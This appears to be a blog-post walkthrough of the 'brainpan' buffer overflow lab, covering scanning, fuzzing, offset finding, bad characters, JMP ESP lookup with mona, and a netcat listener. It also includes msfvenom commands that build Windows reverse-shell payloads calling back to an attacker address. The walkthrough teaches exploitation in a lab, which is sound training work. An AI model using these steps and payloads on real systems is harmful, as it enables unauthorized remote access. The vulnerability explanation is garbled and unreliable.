BOF (Buffer Overflow)

by | Aug 12, 2022 | Uncategorized | 0 comments

We have an article related to buffer overflow and its exploits, which will give an overall theoretical understanding of the exploits.

Buffer overflow is a software coding error or vulnerability that hackers might use to gain unauthorized access to business systems. Despite being one of the most well-known software security flaws, it is relatively frequent. This is partly because buffer overflows can occur in various ways, and the methods employed to prevent them are frequently error-prone.

Buffers, a series of blocks of computational memory used to store data while it is being moved between destinations, are the subject of the software error. A buffer overflow is an overrun when a buffer’s storage capacity is exceeded. The extra data corrupts or replaces the information, thereby spilling over into neighboring memory regions.

This article’s goal is to conduct an inside penetration test on the buffer overflow machine. We must have a thorough strategy to gain access to the objective objectives. This piece should operate as a simulation of a real penetration test, from the initial setup to the final report.

This article aims to conduct an inside penetration test on the buffer overflow machine. We must have a thorough strategy to gain access to the objective objectives. This piece should operate as a simulation of a real penetration test, from the initial setup to the final report. I had system access at the administrative level throughout the testing. Access was made available when the system was successfully attacked.

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. We will be tasked with exploiting the lab network during this penetration test. The specific IP address is:
Lab Network
10.10.231.180

Nmap enables you to scan your network and find out what is connected and a range of details, such as what services each host is running, how many hosts are connected, and so forth. Numerous scanning methods are supported, including UDP, TCP connects, TCP SYN (half-open), FTP, and others.

Nmap Scan Results: nmap -A 10.10.231.180 (Aggressive scan)

Nmap Scan

From the nmap scan, we get the following open ports:
9999/tcp abyss?
10000/tcp http SimpleHTTPServer 0.6 (Python 2.7.3)

We personally verify the URL because port 10000 is available for HTTP traffic.

http://10.10.231.180:10000

http URL page

Gobuster is a tool for opening Amazon S3 buckets and brute-forcing URLs (directories and files) from websites, DNS subdomains, and Virtual Host names. It’s beneficial when you need to brute force web server data for pen-testing and CTF tasks.

Running gobuster to FUZZ the URLs: –
gobuster dir -u http://10.10.231.180:10000/ -w /usr/share/wordlists/dirb/common.txt

gobuster

As soon as we check the bin directory, we see a brainpan.exe file:
http://10.10.231.180:10000/bin/

directory download

Download the file to the host computer. Launch the virtual Windows 7 BOF testing machine.

windows 7 brainpan

Use the following command to transfer the exe file and launch a Python server on the attack machine:
python -m SimpleHTTPServer 80

python SimpleHTTPServer

On the Windows 7 computer, open the browser to download it.

directory listning

Launch the Immunity Debugger by running the exe file.

run file

Then Go to immunity debugger and click on File –> Attach

attach file

Select the brainpan file and press the attach button.

brainpan

And we can see that the service is in a paused state. Click on the play button to start the service.

pause button

And the status will change to Running.

running state

You will always get a skeleton in BOF Machine. Copy the skeleton provided and save it in host kali machine.

skeleton

Now use the IP address of the Windows 7 computer to execute a nmap scan.

nmap scan

We get many ports open. However, we can see a service running on port 9999 as abyss? And a string as WELCOME TO BRAINPAN.
This is the same service which we can see running on the victim machine. With this we can confirm our port.

Copy the skeleton to a file and name it crash.py
Change the following details: –
ip = “10.0.2.4” (Windows 7 IP)
• port = 9999 (abyss? Service port found from nmap)

crash.py file

Ensure that the service is in running mode in the Immunity Debugger.

immunity debugger

And now in the kali machine execute the crash.py using the command:
python crash.py
As soon as the script is executed we can see that brainpan.exe crashes in the Immunity Debugger and we can see the EIP value as 41414141. Which is the value for A that we passed as a parameter in our crash.py script.

EIP value

With this we confirm the crash.

Now the next step is to find the exact value at which the crash happens.
To find this we create a pattern with msf and then use it to find the exact value. Create the pattern: –
msf-pattern_create -l 1100
Now we replace the value of buff with this new pattern that we create. Name the file as find_offset.py

msf pattern

Close Immunity Debugger. Now again start the brainpan.exe then start Immunity Debugger and attach the brainpan.exe and click the play button. Ensure that the service is running.

running state

Now run the find_offset.py script in attack machine.
python find_offset.py

find offset

Now copy the EIP value.

EIP value

Using the EIP value and the following command we get our exact offset value as 524:
msf-pattern_offset -q 35724134

exact offset

Using this offset value we move to our Third script where we control the EIP. Name it as control_eip.py.
Close Immunity Debugger. Now again start the brainpan.exe then start Immunity Debugger and attach the brainpan.exe and click the play button. Ensure that the service is running.\

control_eip

When we execute the control_eip.py file we can see that the EIP value changes to 42424242 as it is the value of B and so we now have control of the EIP value.

sekeleton
EIP value

Now finding the badchars. Badchars are the characters that are supposed to be removed from our payload as it won’t let us get a reverse shell.
To find the badchars in a given exe file we follow the following steps:

Get the list of all badchars. We can create it using following command in kali.
badchars –f python
By default, it does not have \x00 char.
Incase you don’t have the badchars binary you can install it with this command.
• pip install badchars
• Found on https://github.com/cytopia/badchars

badchars

Now create a new file as badchar.py with the following code.

badchar.py file

Close Immunity Debugger. Now again start the brainpan.exe then start Immunity Debugger and attach the brainpan.exe and click the play button. Ensure that the service is running.

running state

Now execute the badchar.py script. After that go to Immunity Debugger.
Right click on ESP value and click on Follow in Dump. Check the values in Dump.
After 42 42 42 42 it should start with 01 02 03 04 and so on as per the badchar list. We can see that all the values are present so it implies that \x00 is the only badchar.

badchar
esp value
hex dump

Close Immunity Debugger. Now again start the brainpan.exe then start Immunity Debugger and attach the brainpan.exe and click the play button. Ensure that the service is running.

running state

Now in the Immunity Debugger in the bottom section write the following command.
!mona modules
We get a list of all modules that are running.
In this list we need to find the module which has ASLR as False. Here we can see that brainpan.exe has an ASLR as False. In order to find JMP ESP enter the following command in the Immunity Debugger Bottom Section.
!mona find –s “\xff\xe4” –m brainpan.exe We get JMP ESP as 311712F3

mona find

Note: – We might see more than one value of JMP ESP. In that case if the first JMP ESP value doesn’t work, we need to use the other ones to get our exploit to work.
Start a netcat listener on attack machine: –
nc –nlvp 4444

netcat listner

To create our final exploit, we need EIP value and our shell code.
JMP ESP value is our EIP value in reverse-“\xf3\x12\x17\x31”
We create our shellcode with msfvenom
msfvenom -a x86 -p windows/shell_reverse_tcp lhost=10.0.2.15 lport=4444 -b ‘\x00’ -f python

msfvenom

Add the generated code to our final exploit.py. Our final Shell code:

exploit.py

As soon as we run our exploit.py We get a shell on our listener.

netcat listner

Moving to our victim machine now.
Create our shellcode with msfvenom
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.9.2.29 LPORT=5555 -b ‘\x00’

msfvenom

Start Listener:

netcat

Change the IP address in our exploit.py script. The final exploit.

exploit.py

As soon as we execute our exploit we get a shell on our listener. We get our root Flag.

python
netcat access

Flag: – C5F9A8963BBDF2950B5259BDA34FC4253ECE66C4

Vulnerability Exploited:
Overflow Vulnerability of the exe file.

Vulnerability Explanation:
Buffer overflow is a vulnerability which can lead to shell exploitation when the system reached its work limit.

Vulnerability Fix:
The easiest way to prevent these vulnerabilities is to simply use a language that does not allow for them. C allows these vulnerabilities through direct access to memory and a lack of strong object typing. Languages that do not share these aspects are typically immune. Java, Python, and .NET, among other languages and platforms, don’t require special checks or changes to mitigate overflow vulnerabilities. Use secure practices for handling buffers.

Severity:
The severity is extreme as the attacker can gain access and also can have a persistent shell. Which can easily lead to loss of data and Information Disclosure. The attacker can also get into all the systems connected to this system and attack all the systems available in its network and it can also bring down the whole server.

Maintaining Access

Maintaining access to a system is essential to us as attackers. It is invaluable to ensure that we can get back into a system after it has been exploited. The maintaining access portion of the penetration test focuses on providing that after the focused assault (i.e., a buffer overflow).

we have more administrative access to the system. Many exploits may only be vulnerable once, and we may never be able to get into a plan once the exploit has been done.